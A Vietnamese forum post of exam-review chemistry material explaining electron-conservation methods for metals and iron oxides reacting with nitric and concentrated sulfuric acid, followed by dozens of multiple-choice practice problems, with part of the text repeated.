markdown:
**Cùng bạn ôn thi học kỳ 1(Nguồn Diễn đàn Học mãi)**
[[Lí thuyết+bài tập]Dạng 2: Kim loại, oxit kim loại, bazo, muối tác dụng với các axit có tính oxi hóa mạnh](/t5-topic#5)
on Fri Sep 29, 2017 7:25 pm
BÀI TẬP: KIM LOẠI , OXIT KIM LOẠI VÀ MUỐI TÁC DỤNG VỚI CÁC DUNG DỊCH AXIT
CÓ TÍNH OXI HÓA MẠNH ( H2SO4 đặc, HNO3)
1. Phương pháp giải chung:
Phương pháp chủ yếu là sử dụng định luật bảo toàn electron, kết hợp với các pp khác như bảo toàn khối
lượng, bảo toàn nguyên tố, bảo toàn điện tích
Khi làm dạng này cần chú ý một số vấn đề sau:
+ Khi cho kim loại tác dụng với các axit H2SO4 và HNO3 thì: - Tổng số mol H2SO4 phản ứng bằng = nSO4
2- trong muối + n của sản phẩm khử( SO2, S, H2S)
Mà số mol SO4
2- trong muối = tổng số mol e nhường chia 2= Tổng số mol e nhận chia 2. - Tổng số mol HNO3 phản ứng = nNO3
- trong muối + n của sản phẩm khử( NO2, NO, N2O, N2,NH3)
Lưu ý: nếu sản phẩm khử là N2, N2O thì phải nhân thêm 2
Mà số mol NO3
- trong muối bằng tổng số mol e nhường = tổng số mol e nhận
+ Tất cả các chất khi tác dụng với 2 axit trên đều lên mức oxi hóa cao nhất
+ Ion NO3
- trong môi trường axit có tính oxi hóa như HNO3 loãng
+ Khi phản ứng hóa học có HNO3 đặc thì khí thoát ra thong thường là NO2, HNO3 loãng là NO. Tuy nhiên
với các kim loại mạnh như Mg, Al, Zn thì khi tác dụng với HNO3 loãng thì HNO3 có thể bị khử thành N2O,
N2 hoặc NH3 ( trong dung dịch HNO3 là NH4NO3)
+ Đối với oxit sắt: nếu trong một hỗn hợp nFeO= nFe2O3 thì coi hỗn hợp FeO, Fe2O3 là Fe3O4
+ Nếu một bài toán có nhiều quá trình oxi hóa khử chúng ta chỉ cần để ý đến số oxi hóa của nguyên tố đó
trước và sau phản ứng, sau đó dùng định luật bảo boàn e áp dụng chung cho cả bài toán
VD: ( Bài tập 1: Đề bài bên dưới)
Ta có thể tóm tắt bài tập này như sau:
Fe +O2 → hỗn hợp X( có thể có: Fe, FeO, Fe2O3 và Fe3O4) + HNO3 Fe3+
Như vậy: Ban đầu từ: Feo → Fe3+ + 3e O2 + 4e→ 2O2- và N+5 + 3e → N+2
Mol: m/56 3m/56 (3-m)/32 (3-m)/8 0,075 0,025
Theo bảo toàn e: 3m/56 = (3-m)/8 + 0,075. Giải phương trình này ta được m= 2,52 gam
Như vậy với bài toán dạng: Nung m gam bột Fe trong oxi ( hoặc để m gam bột Fe trong không khí) sau
một thời gian thu được a gam hh X( gồm Fe và các oxit). Cho X tác dụng với dung dịch HNO3 thu được
khí NxOy duy nhất ở đktc thì giữa: m, a, x có mối quan hệ sau
![ ](https://lh3.googleusercontent.com/-BajGpo2zluA/Wc47HpUdpUI/AAAAAAAABek/UTE1l2D0SMoaGb0a7PEJ3Z-sdHDu9U5tgCK8BGAs/s512/2017-09-29.png)
+ Khi Fe tác dụng với HNO3, nếu sau phản ứng Fe còn dư thì Fe sẽ tác dụng với Fe(NO3)3 tạo thành
Fe(NO3)2
+ Riêng với Fe2+ vẫn còn tính khử nên khi tác dụng với NO3
- trong H+
thì đều tạo ra Fe3+
2. Một số bài tập tham khảo
Bài 1. Nung m gam bột sắt trong oxi, thu được 3 gam hh chất rắn X. Hòa tan hết hh X trong dd HNO3
(dư), thoát ra 0,56 lít (ở đktc) NO (là sản phẩm khử duy nhất). Giá trị của m là (cho O = 16, Fe = 56)
A. 2,52. B. 2,22. C. 2,62. D. 2,32.
Bài 2. Hoà tan hết m gam hỗn hợp gồm FeO, Fe2O3 và Fe3O4 bằng HNO3 đặc, nóng thu được 4,48 lít khí
NO2 (đktc). Cô cạn dung dịch sau phản ứng được 145,2 gam muối khan. Giá trị của m là
A. 35,7 gam. B. 46,4 gam. C. 15,8 gam. D. 77,7 gam
Bài 3. Để khử hoàn toàn 3,04 gam hỗn hợp Y (gồm FeO, Fe3O4, Fe2O3) thì cần 0,05 mol H2. Mặt khác hoà
tan hoàn toàn 3,04 gam hỗn hợp Y trong dung dịch H2SO4 đặc thì thu được thể tích khí SO2 (sản phẩm
khử duy nhất) ở điều kiện tiêu chuẩn là
A. 224 ml. B. 448 ml. C. 336 ml. D. 112 ml.
Bài 4. Nung 8,4 gam Fe trong không khí sau phản ứng thu được m gam chất rắn X gồm Fe, Fe2O3, Fe3O4, FeO. Hòa tan hết m gam X vào dung dịch HNO3 dư thu được 2,24 lít khí NO2 (ở đktc) là sản phẩm khử
duy nhất. Giá trị của m là
A. 11,2 gam. B. 10,2 gam. C. 7,2 gam. D. 6,9 gam
Bài 5. Hòa tan hết 5,6 gam Fe bằng một lượng vừa đủ dung dịch HNO3 đặc nóng thu được V lít NO2 là
sản phẩm khử duy nhất (tại đktc). V nhận giá trị nhỏ nhất là
A. 1,12 lít. B. 2,24 lít. C. 4,48 lít. D. 6,72 lít.
Bài 6. Hỗn hợp A gồm ba oxit sắt (FeO, Fe3O4, Fe2O3) có số mol bằng nhau. Hòa tan hết m gam hỗn hợp
A này bằng dung dịch HNO3 thì thu được hỗn hợp K gồm hai khí NO2 và NO có thể tích 1,12 lít (đktc) và
tỉ khối hỗn hợp K so với hiđro bằng 19,8. Trị số của m là:
A. 20,88 gam B. 46,4 gam C. 23,2 gam D. 16,24 gam
Bài 7.Cho 18,5 gam hỗn hợp Z gồm Fe, Fe3O4
tác dụng với 200 ml dung dịch HNO3
loãng đun nóng
và khuấy đều. Sau khi phản ứng xảy ra hoàn toàn thu được 2,24 lít khí NO duy nhất (đo ở điều kiện tiêu
chuẩn), dung dịch Z1 và còn lại 1,46 gam kim loại.Khối lượng Fe3O4 trong 18,5 gam hỗn hợp ban đầu
là:
A. 6,69 B. 6,96 C. 9,69 D. 9,7
Bài 8. Để m gam phoi bào sắt (A) ngoài không khí, sau một thời gian biến thành hỗn hợp (B) có khối
lượng 12 gam gồm Fe, FeO, Fe3O4, Fe2O3. Cho B tác dụng hoàn toàn với dung dịch HNO3 thấy giải phóng
ra 2,24 lít khí NO duy nhất (đktc). Giá trị của m là bao nhiêu?
A. 11,8 gam. B. 10,08 gam. C. 9,8 gam. D. 8,8 gam.
Bài 9. Cho m gam Fe tan hết trong 400 ml dung dịch FeCl3 1M thu được dung dịch Y. Cô cạn dung dịch Y
thu được 71,72 gam chất rắn khan. Để hòa tan m gam Fe cần tối thiểu bao nhiêu ml dung dịch HNO3 1M
(sản phẩm khử duy nhất là NO)
A. 540 ml B. 480 ml C. 160ml D. 320 ml
Bài 10. Cho 11,0 gam hỗn hợp X gồm Al và Fe vào dung dịch HNO3 loãng dư, thu được dung dịch Y và
6,72 lít khí NO ở đktc (sản phẩm khử duy nhất). Cô cạn cẩn thận dung dịch Y thì lượng muối khan thu
được là
A. 33,4 gam. B. 66,8 gam. C. 29,6 gam. D. 60,6 gam.
Bài 11. Hòa tan hoàn toàn 12 gam hỗn hợp Fe, Cu (tỉ lệ mol 1:1) bằng axit HNO3, thu được V lít (ở đktc)
hỗn hợp khí X (gồm NO và NO2) và dung dịch Y (chỉ chứa hai muối và axit dư). Tỉ khối của X đối với
H2 bằng 19. Giá trị của V là
A. 2,24. B. 4,48. C. 5,60. D. 3,36.
Bài 12. Cho 11,36 gam hỗn hợp gồm Fe, FeO, Fe2O3 và Fe3O4 phản ứng hết với dung dịch HNO3 loãng
(dư), thu được 1,344 lít khí NO (sản phẩm khử duy nhất, ở đktc) và dung dịch X. Cô cạn dung dịch X thu
được m gam muối khan. Giá trị của m là
A. 38,72. B. 35,50. C. 49,09. D. 34,36. Bài 13. Hòa tan hết 22,064 gam hỗn hợp Al, Zn bằng dung dịch HNO3 thu được 3,136 lít hỗn hợp NO và
N2O (đktc) với số mol mỗi khí như nhau. Tính % khối lượng của Al trong hỗn hợp.
A. 5.14%. B. 6,12%. C. 6,48%. D. 7,12%.
Bài 14. Hòa tan hỗn hợp X gồm Al và Fe vào dung dịch HNO3 dư sau phản ứng hoàn toàn thu được dung
dịch A và 4,44 gam hỗn hợp khí Y có thể tích 2,688 lít (ở đktc) gồm hai khí không màu, trong đó có một
khí tự hóa nâu ngoài không khí. Tổng số mol 2 kim loại trong hỗn hợp X là:
A. 0,32 mol. B. 0,22 mol. C. 0,45 mol. D. 0,12 mol.
Bài 15.Cho hỗn hợp G ở dạng bột gồm Al, Fe, Cu. Hòa tan 23,4 gam G bằng một lượng dư dung dịch
H2SO4
đặc, nóng, thu được 0,675 mol khí SO2
. Cho 23,4 gam G vào bình A chứa dung dịch H2SO4
loãng dư, sau khi phản ứng hoàn toàn, thu được 0,45 mol khí B . Khối lượng Al, Fe, Cu trong hỗn hợp G
lần lượt là:
A. 5,4 gam; 8,4 gam; 9,6 gam B. 9,6 gam; 5,4 gam; 8,4 gam
C. 8,4 gam; 9,6 gam; 5,4 gam D. 5,4 gam; 9,6 gam; 8,4 gam
Bài 16. Hòa tan hết m gam bột kim loại nhôm trong dung dịch HNO3, thu được 13,44 lít (đktc) hỗn hợp ba
khí NO, N2O và N2. Tỉ lệ thể tích VNO : VN2O : VN2 = 3:2:1. Trị số của m là:
A. 32,4 gam B. 31,5 gam C. 40,5 gam D. 24,3 gam
Bài 17. Hoà tan hoàn toàn 12,8 gam hỗn hợp X gồm 3 kim loại Fe, Mg, Cu vào HNO3 đặc nóng, dư thu được
dung dịch Y và 3,36 lít khí NO (đkc). Cô cạn dung dịch Y thu được m gam muối khan. Giá trị m là:
A. 22,1 gam B. 19,7 gam C. 50,0gam. D. 40,7gam
Bài 18. Hòa tan hoàn toàn 16,3 gam hỗn hợp X gồm Mg, Al và Fe trong dung dịch H2SO4 đặc nóng thu
được 0,55 mol SO2. Cô cạn dung dịch sau phản ứng thì thu được muối khan có khối lượng là
A. 82,9 gam B. 69,1 gam C. 55,2 gam D. 51,8 gam
Bài 19. Cho 3,445 gam hỗn hợp X gồm Al, Zn, Cu tác dụng với dung dịch HNO3 loãng dư, sau phản ứng
thu được 1,12 lít NO (đkc). Cô cạn dung dịch sau phản ứng thì thu được muối khan có khối lượng là
A. 12,745 gam B. 11,745 gam C. 10,745 gam D. 9,574 gam
Bài 20. Hòa tan hoàn toàn 12,42 gam Al bằng dung dịch HNO3 loãng (dư), thu được dung dịch X và 1,344
lít (ở đktc) hỗn hợp khí Y gồm hai khí là N2O và N2. Tỉ khối của hỗn hợp khí Y so với khí H2 là 18. Cô
cạn dung dịch X, thu được m gam chất rắn khan. Giá trị của m là
A. 97,98. B. 106,38. C. 38,34. D. 34,08.
Bài 21. Cho m gam Cu tan hoàn toàn vào 200 ml dung dịch HNO3, phản ứng vừa đủ, giải phóng một hỗn
hợp 4,48 lít khí NO và NO2 có tỉ khối hơi với H2 là 19. Tính CM của dung dịch HNO3. A.2 M. B. 3M. C. 1,5M. D. 0,5M.
Bài 22. Cho 2,16 gam Mg tác dụng với dung dịch HNO3 (dư). Sau khi phản ứng xảy ra hoàn toànthu được
0,896 lít khí NO (ở đktc) và dung dịch X. Khối lượng muối khan thu được khi làm bay hơidung dịch X là
A. 8,88 gam. B. 13,92 gam. C. 6,52 gam. D. 13,32 gam
Bài 23. Hòa tan hoàn toàn 1,23 gam hỗn hợp X gồm Cu và Al vào dung dịch HNO3 đặc, nóng thu được
1,344 lít khí NO2 (sản phẩm khử duy nhất, ở đktc) và dung dịch Y. Sục từ từ khí NH3 (dư) vào dung dịch
Y, sau khi phản ứng xảy ra hoàn toàn thu được m gam kết tủa. Phần trăm về khối lượng của Cu trong hỗn
hợp X và giá trị của m lần lượt là
A. 21,95% và 2,25. B. 78,05% và 2,25. C. 21,95% và 0,78. D. 78,05% và 0,78
Bài 24. Hòa tan hết m gam bột kim loại nhôm trong dung dịch HNO3, thu được 13,44 lít (đktc) hỗn hợp ba
khí NO, N2O và N2. Tỉ lệ thể tích VNO : VN2O : VN2 = 3:2:1. Trị số của m là:
A. 31,5 gam B. 32,5 gam B. 40,5 gam C. 24,3 gam
Bài 25. Cho a gam hỗn hợp E (Al, Mg, Fe ) tác dụng với dung dịch HNO3 dư thu được hỗn hợp khí
gồm 0,02 mol NO, 0,01 mol N2O, 0,01 mol NO2 và dung dịch X. Cô cạn dung dịch X thu được 11,12 gam
muối khan. a có giá trị là
A. 1,82. B. 11,2. C. 9,3. D. kết quả khác.
Bài 26. Cho 61,2 gam hỗn hợp X gồm Cu và Fe3O4 tác dụng với dung dịch HNO3 loãng, đun nóng và
khuấy đều. Sau khi các phản ứng xảy ra hoàn toàn, thu được 3,36 lít khí NO (sản phẩm khử duy nhất, ở
đktc), dung dịch Y và còn lại 2,4 gam kim loại. Cô cạn dung dịch Y, thu được m gam muối khan. Giá trị
của m là
A. 151,5. B. 137,1. C. 97,5. D. 108,9.
Bài 27. Cho m gam hỗn hợp X gồm Fe và Cu tác dụng với dung dịch HCl dư thu được dung dịch Y, m
17gam chất rắn không tan và 2,688 lít H2 (đkc). Để hòa tan m gam hỗn hợp X cần tối thiểu bao nhiêu ml
dung dịch HNO3 1M (biết rằng chỉ sinh ra sản phẩm khử duy nhất là NO)
A. 1200ml B. 800ml C. 720ml D.880ml
Bài 28. Người ta thực hiện 2 thí nghiệm sau:
TN1: Cho 38,4 gam Cu vào 2,4 lít dung dịch HNO3 0,5M, sau phản ứng thu được V1 lít NO (đkc)
TN2: Cũng cho khối lượng đồng như trên vào 2,4 lít dung dịch gồm HNO3 0,5M và H2SO4 0,2M, sau phản
ứng thu được V2 lít NO (đkc). Mối quan hệ giữa V2 và V1 là:
A. 2V2=5V1 B. 3V2= 4V1 C. V2=2V1 D. 3V2=2V1
Bài 29. Cho 13,24 gam hỗn hợp X gồm Al, Cu, Mg tác dụng với oxi dư thu được 20,12 gam hỗn hợp
3 oxít. Nếu cho 13,24 gam hỗn hợp X trên tác dụng với dung dịch HNO3 dư thu được dung dịch Y
và sản phẩm khử duy nhất là khí NO. Cô cạn dung dịch Y thu được bao nhiêu gam chất rắn khan
A. 64,33 gam. B. 66,56 gam. C. 80,22 gam. D. 82,85 gam. Bài 30. Hòa tan hoàn toàn hỗn hợp gồm Zn và ZnO bằng dung dịch HNO3 loãng dư. Kết thúc thí nghiệm
không có khí thoát ra, dung dịch thu được có chứa 8 gam NH4NO3 và 113,4 gam Zn(NO3)2. Phần trăm số
mol Zn có trong hỗn hợp ban đầu là bao nhiêu?
A. 66,67%. B. 33,33%. C. 16,66%. D. 93,34%.
Bài 31. Hòa tan hoàn toàn 11,9 gam hỗn hợp 2 kim loại (Zn, Al) bằng dung dịch H2SO4 đặc nóng thu
được 7,616 lít SO2 (đktc), 0,64 gam S và dung dịch X. Tính khối lượng muối trong X.
A. 60,3 gam. B. 50,3 gam. C. 72,5 gam. D. 30,3 gam.
Bài 32. Chia m gam hỗn hợp Fe, Cu làm 2 phần bằng nhau:
Phần 1: Cho tác dụng với axit HCl dư thì thu được 2,24 lit khí H2 (đktc).
Phần 2: Cho tác dụng với axit HNO3 loãng thì thu được 4,48 lit khí NO (đktc).
Thành phần % khối lượng kim loại Fe trong hỗn hợp là:
A. 36,84%. B. 26,6%. C. 63,2%. D. 22,58%.
Bài 33. Hỗn hợp X gồm hai kim loại A và B đứng trước H trong dãy điện hóa và có hóa trị không đổi trong
các hợp chất. Chia m gam X thành hai phần bằng nhau: - Phần 1: Hòa tan hoàn toàn trong dung dịch chứa axit HCl và H2SO4 loãng tạo ra 3,36 lít khí H2. - Phần 2: Tác dụng hoàn toàn với dung dịch HNO3 thu được V lít khí NO (sản phẩm khử duy nhất).
Biết các thể tích khí đo ở đktc. Giá trị của V là
A. 2,24 lít. B. 3,36 lít. C. 4,48 lít. D. 6,72 lít.
Bài 34. Cho một hỗn hợp X gồm Fe và một kim loại M có hóa trị không đổi. Khối lượng X là 10,83 gam.
Chia X ra làm phần bằng nhau:
Phần I tác dụng với dung dịch HCl dư cho ra 3,192 lít H2 (đktc).
Phần II tác dụng với dung dịch HNO3 loãng dư cho ra khí duy nhất là NO có thể tích là 2,688 lít (đktc) và
dung dịch A. Kim loại khối lượng M và % M trong hỗn hợp X là :
A. Al, 53,68% B. Cu, 25,87% C. Zn, 48,12% D. Al 22,44%
Bài 35. Cho 6,72 gam Fe vào 400 ml dung dịch HNO3 1M, đến khi phản ứng xảy ra hoàn toàn, thu được
khí NO (sản phẩm khử duy nhất) và dung dịch X. Dung dịch X có thể hoà tan tối đa m gam Cu. Giá trị của
m là
A. 1,92. B. 3,20. C. 0,64. D. 3,84.
Bài 36. Cho a mol Cu kim loại tan hoàn toàn trong 120 ml dung dịch X gồm HNO3 1M và H2SO4 0,5M
(loãng) thu được V lít khí NO duy nhất (đktc). Tính V?
A. 14,933 lít. B. 12,32 lít. C. 18,02 lít. D. 1,344 lít
Bài 37. Cho 5,8 gam muối FeCO3 tác dụng với dung dịch HNO3 vừa đủ, thu được hỗn hợp khí chứa CO2, NO và dung dịch X. Cho dung dịch HCl rất dư vào dung dịch X được dung dịch Y, dung dịch Y này hòa
tan được tối đa m gam Cu, sinh ra sản phẩm khử NO duy nhất. Giá trị của m là
A. 64 gam B. 11,2 gam C. 14,4 gam D. 16 gam
Bài 38. Cho 5,6 gam Fe vào 200 ml dung dịch Cu(NO3)2 0,5M và HCl 1M thu được khí NO và m gam kết
tủa. Xác định m. Biết rằng NO là sản phẩm khử duy nhất của NO-3 và không có khí H2 bay ra.
A. 1,6 gam B. 3,2 gam C. 6,4 gam D. đáp án khác.
Bài 39. Cho hỗn hợp gồm 1,12 gam Fe và 1,92 gam Cu vào 400 ml dung dịch chứa hỗn hợp gồm H2SO4
0,5M và NaNO3 0,2M. Sau khi các phản ứng xảy ra hoàn toàn, thu được dung dịch X và khí NO (sản
phẩm khử duy nhất). Cho V ml dung dịch NaOH 1M vào dung dịch X thì lượng kết tủa thu được là lớn
nhất. Giá trị tối thiểu của V là
A. 240. B. 120. C. 360. D. 400.
Bài 40. Cho 3,2 gam Cu tác dụng với 100ml dung dịch hỗn hợp HNO3 0,8M + H2SO4 0,2M, sản phẩm
khử duy nhất của HNO3 là khí NO. Số gam muối khan thu được là
A. 5,64. B. 7,9. C. 8,84. D. 6,82
Bài 41. Dung dịch A chứa 0,01 mol Fe(NO3)3 và 0,15 mol HCl có khả năng hòa tan tối đa bao nhiêu gam
Cu kim loại? (Biết NO là sản phẩm khử duy nhất)
A. 2,88 gam. B. 3,92 gam. C. 3,2 gam. D. 5,12 gam.
Trên con đường thành công không có dấu chân của kẻ lười biếng!
--->Sưu tầm và biên soạn
CÓ TÍNH OXI HÓA MẠNH ( H2SO4 đặc, HNO3)
1. Phương pháp giải chung:
Phương pháp chủ yếu là sử dụng định luật bảo toàn electron, kết hợp với các pp khác như bảo toàn khối
lượng, bảo toàn nguyên tố, bảo toàn điện tích
Khi làm dạng này cần chú ý một số vấn đề sau:
+ Khi cho kim loại tác dụng với các axit H2SO4 và HNO3 thì: - Tổng số mol H2SO4 phản ứng bằng = nSO4
2- trong muối + n của sản phẩm khử( SO2, S, H2S)
Mà số mol SO4
2- trong muối = tổng số mol e nhường chia 2= Tổng số mol e nhận chia 2. - Tổng số mol HNO3 phản ứng = nNO3
- trong muối + n của sản phẩm khử( NO2, NO, N2O, N2,NH3)
Lưu ý: nếu sản phẩm khử là N2, N2O thì phải nhân thêm 2
Mà số mol NO3
- trong muối bằng tổng số mol e nhường = tổng số mol e nhận
+ Tất cả các chất khi tác dụng với 2 axit trên đều lên mức oxi hóa cao nhất
+ Ion NO3
- trong môi trường axit có tính oxi hóa như HNO3 loãng
+ Khi phản ứng hóa học có HNO3 đặc thì khí thoát ra thong thường là NO2, HNO3 loãng là NO. Tuy nhiên
với các kim loại mạnh như Mg, Al, Zn thì khi tác dụng với HNO3 loãng thì HNO3 có thể bị khử thành N2O,
N2 hoặc NH3 ( trong dung dịch HNO3 là NH4NO3)
+ Đối với oxit sắt: nếu trong một hỗn hợp nFeO= nFe2O3 thì coi hỗn hợp FeO, Fe2O3 là Fe3O4
+ Nếu một bài toán có nhiều quá trình oxi hóa khử chúng ta chỉ cần để ý đến số oxi hóa của nguyên tố đó
trước và sau phản ứng, sau đó dùng định luật bảo boàn e áp dụng chung cho cả bài toán
VD: ( Bài tập 1: Đề bài bên dưới)
Ta có thể tóm tắt bài tập này như sau:
Fe +O2 → hỗn hợp X( có thể có: Fe, FeO, Fe2O3 và Fe3O4) + HNO3 Fe3+
Như vậy: Ban đầu từ: Feo → Fe3+ + 3e O2 + 4e→ 2O2- và N+5 + 3e → N+2
Mol: m/56 3m/56 (3-m)/32 (3-m)/8 0,075 0,025
Theo bảo toàn e: 3m/56 = (3-m)/8 + 0,075. Giải phương trình này ta được m= 2,52 gam
Như vậy với bài toán dạng: Nung m gam bột Fe trong oxi ( hoặc để m gam bột Fe trong không khí) sau
một thời gian thu được a gam hh X( gồm Fe và các oxit). Cho X tác dụng với dung dịch HNO3 thu được
khí NxOy duy nhất ở đktc thì giữa: m, a, x có mối quan hệ sau
![ ](https://lh3.googleusercontent.com/-BajGpo2zluA/Wc47HpUdpUI/AAAAAAAABek/UTE1l2D0SMoaGb0a7PEJ3Z-sdHDu9U5tgCK8BGAs/s512/2017-09-29.png)
+ Khi Fe tác dụng với HNO3, nếu sau phản ứng Fe còn dư thì Fe sẽ tác dụng với Fe(NO3)3 tạo thành
Fe(NO3)2
+ Riêng với Fe2+ vẫn còn tính khử nên khi tác dụng với NO3
- trong H+
thì đều tạo ra Fe3+
2. Một số bài tập tham khảo
Bài 1. Nung m gam bột sắt trong oxi, thu được 3 gam hh chất rắn X. Hòa tan hết hh X trong dd HNO3
(dư), thoát ra 0,56 lít (ở đktc) NO (là sản phẩm khử duy nhất). Giá trị của m là (cho O = 16, Fe = 56)
A. 2,52. B. 2,22. C. 2,62. D. 2,32.
Bài 2. Hoà tan hết m gam hỗn hợp gồm FeO, Fe2O3 và Fe3O4 bằng HNO3 đặc, nóng thu được 4,48 lít khí
NO2 (đktc). Cô cạn dung dịch sau phản ứng được 145,2 gam muối khan. Giá trị của m là
A. 35,7 gam. B. 46,4 gam. C. 15,8 gam. D. 77,7 gam
Bài 3. Để khử hoàn toàn 3,04 gam hỗn hợp Y (gồm FeO, Fe3O4, Fe2O3) thì cần 0,05 mol H2. Mặt khác hoà
tan hoàn toàn 3,04 gam hỗn hợp Y trong dung dịch H2SO4 đặc thì thu được thể tích khí SO2 (sản phẩm
khử duy nhất) ở điều kiện tiêu chuẩn là
A. 224 ml. B. 448 ml. C. 336 ml. D. 112 ml.
Bài 4. Nung 8,4 gam Fe trong không khí sau phản ứng thu được m gam chất rắn X gồm Fe, Fe2O3, Fe3O4, FeO. Hòa tan hết m gam X vào dung dịch HNO3 dư thu được 2,24 lít khí NO2 (ở đktc) là sản phẩm khử
duy nhất. Giá trị của m là
A. 11,2 gam. B. 10,2 gam. C. 7,2 gam. D. 6,9 gam
Bài 5. Hòa tan hết 5,6 gam Fe bằng một lượng vừa đủ dung dịch HNO3 đặc nóng thu được V lít NO2 là
sản phẩm khử duy nhất (tại đktc). V nhận giá trị nhỏ nhất là
A. 1,12 lít. B. 2,24 lít. C. 4,48 lít. D. 6,72 lít.
Bài 6. Hỗn hợp A gồm ba oxit sắt (FeO, Fe3O4, Fe2O3) có số mol bằng nhau. Hòa tan hết m gam hỗn hợp
A này bằng dung dịch HNO3 thì thu được hỗn hợp K gồm hai khí NO2 và NO có thể tích 1,12 lít (đktc) và
tỉ khối hỗn hợp K so với hiđro bằng 19,8. Trị số của m là:
A. 20,88 gam B. 46,4 gam C. 23,2 gam D. 16,24 gam
Bài 7.Cho 18,5 gam hỗn hợp Z gồm Fe, Fe3O4
tác dụng với 200 ml dung dịch HNO3
loãng đun nóng
và khuấy đều. Sau khi phản ứng xảy ra hoàn toàn thu được 2,24 lít khí NO duy nhất (đo ở điều kiện tiêu
chuẩn), dung dịch Z1 và còn lại 1,46 gam kim loại.Khối lượng Fe3O4 trong 18,5 gam hỗn hợp ban đầu
là:
A. 6,69 B. 6,96 C. 9,69 D. 9,7
Bài 8. Để m gam phoi bào sắt (A) ngoài không khí, sau một thời gian biến thành hỗn hợp (B) có khối
lượng 12 gam gồm Fe, FeO, Fe3O4, Fe2O3. Cho B tác dụng hoàn toàn với dung dịch HNO3 thấy giải phóng
ra 2,24 lít khí NO duy nhất (đktc). Giá trị của m là bao nhiêu?
A. 11,8 gam. B. 10,08 gam. C. 9,8 gam. D. 8,8 gam.
Bài 9. Cho m gam Fe tan hết trong 400 ml dung dịch FeCl3 1M thu được dung dịch Y. Cô cạn dung dịch Y
thu được 71,72 gam chất rắn khan. Để hòa tan m gam Fe cần tối thiểu bao nhiêu ml dung dịch HNO3 1M
(sản phẩm khử duy nhất là NO)
A. 540 ml B. 480 ml C. 160ml D. 320 ml
Bài 10. Cho 11,0 gam hỗn hợp X gồm Al và Fe vào dung dịch HNO3 loãng dư, thu được dung dịch Y và
6,72 lít khí NO ở đktc (sản phẩm khử duy nhất). Cô cạn cẩn thận dung dịch Y thì lượng muối khan thu
được là
A. 33,4 gam. B. 66,8 gam. C. 29,6 gam. D. 60,6 gam.
Bài 11. Hòa tan hoàn toàn 12 gam hỗn hợp Fe, Cu (tỉ lệ mol 1:1) bằng axit HNO3, thu được V lít (ở đktc)
hỗn hợp khí X (gồm NO và NO2) và dung dịch Y (chỉ chứa hai muối và axit dư). Tỉ khối của X đối với
H2 bằng 19. Giá trị của V là
A. 2,24. B. 4,48. C. 5,60. D. 3,36.
Bài 12. Cho 11,36 gam hỗn hợp gồm Fe, FeO, Fe2O3 và Fe3O4 phản ứng hết với dung dịch HNO3 loãng
(dư), thu được 1,344 lít khí NO (sản phẩm khử duy nhất, ở đktc) và dung dịch X. Cô cạn dung dịch X thu
được m gam muối khan. Giá trị của m là
A. 38,72. B. 35,50. C. 49,09. D. 34,36. Bài 13. Hòa tan hết 22,064 gam hỗn hợp Al, Zn bằng dung dịch HNO3 thu được 3,136 lít hỗn hợp NO và
N2O (đktc) với số mol mỗi khí như nhau. Tính % khối lượng của Al trong hỗn hợp.
A. 5.14%. B. 6,12%. C. 6,48%. D. 7,12%.
Bài 14. Hòa tan hỗn hợp X gồm Al và Fe vào dung dịch HNO3 dư sau phản ứng hoàn toàn thu được dung
dịch A và 4,44 gam hỗn hợp khí Y có thể tích 2,688 lít (ở đktc) gồm hai khí không màu, trong đó có một
khí tự hóa nâu ngoài không khí. Tổng số mol 2 kim loại trong hỗn hợp X là:
A. 0,32 mol. B. 0,22 mol. C. 0,45 mol. D. 0,12 mol.
Bài 15.Cho hỗn hợp G ở dạng bột gồm Al, Fe, Cu. Hòa tan 23,4 gam G bằng một lượng dư dung dịch
H2SO4
đặc, nóng, thu được 0,675 mol khí SO2
. Cho 23,4 gam G vào bình A chứa dung dịch H2SO4
loãng dư, sau khi phản ứng hoàn toàn, thu được 0,45 mol khí B . Khối lượng Al, Fe, Cu trong hỗn hợp G
lần lượt là:
A. 5,4 gam; 8,4 gam; 9,6 gam B. 9,6 gam; 5,4 gam; 8,4 gam
C. 8,4 gam; 9,6 gam; 5,4 gam D. 5,4 gam; 9,6 gam; 8,4 gam
Bài 16. Hòa tan hết m gam bột kim loại nhôm trong dung dịch HNO3, thu được 13,44 lít (đktc) hỗn hợp ba
khí NO, N2O và N2. Tỉ lệ thể tích VNO : VN2O : VN2 = 3:2:1. Trị số của m là:
A. 32,4 gam B. 31,5 gam C. 40,5 gam D. 24,3 gam
Bài 17. Hoà tan hoàn toàn 12,8 gam hỗn hợp X gồm 3 kim loại Fe, Mg, Cu vào HNO3 đặc nóng, dư thu được
dung dịch Y và 3,36 lít khí NO (đkc). Cô cạn dung dịch Y thu được m gam muối khan. Giá trị m là:
A. 22,1 gam B. 19,7 gam C. 50,0gam. D. 40,7gam
Bài 18. Hòa tan hoàn toàn 16,3 gam hỗn hợp X gồm Mg, Al và Fe trong dung dịch H2SO4 đặc nóng thu
được 0,55 mol SO2. Cô cạn dung dịch sau phản ứng thì thu được muối khan có khối lượng là
A. 82,9 gam B. 69,1 gam C. 55,2 gam D. 51,8 gam
Bài 19. Cho 3,445 gam hỗn hợp X gồm Al, Zn, Cu tác dụng với dung dịch HNO3 loãng dư, sau phản ứng
thu được 1,12 lít NO (đkc). Cô cạn dung dịch sau phản ứng thì thu được muối khan có khối lượng là
A. 12,745 gam B. 11,745 gam C. 10,745 gam D. 9,574 gam
Bài 20. Hòa tan hoàn toàn 12,42 gam Al bằng dung dịch HNO3 loãng (dư), thu được dung dịch X và 1,344
lít (ở đktc) hỗn hợp khí Y gồm hai khí là N2O và N2. Tỉ khối của hỗn hợp khí Y so với khí H2 là 18. Cô
cạn dung dịch X, thu được m gam chất rắn khan. Giá trị của m là
A. 97,98. B. 106,38. C. 38,34. D. 34,08.
Bài 21. Cho m gam Cu tan hoàn toàn vào 200 ml dung dịch HNO3, phản ứng vừa đủ, giải phóng một hỗn
hợp 4,48 lít khí NO và NO2 có tỉ khối hơi với H2 là 19. Tính CM của dung dịch HNO3. A.2 M. B. 3M. C. 1,5M. D. 0,5M.
Bài 22. Cho 2,16 gam Mg tác dụng với dung dịch HNO3 (dư). Sau khi phản ứng xảy ra hoàn toànthu được
0,896 lít khí NO (ở đktc) và dung dịch X. Khối lượng muối khan thu được khi làm bay hơidung dịch X là
A. 8,88 gam. B. 13,92 gam. C. 6,52 gam. D. 13,32 gam
Bài 23. Hòa tan hoàn toàn 1,23 gam hỗn hợp X gồm Cu và Al vào dung dịch HNO3 đặc, nóng thu được
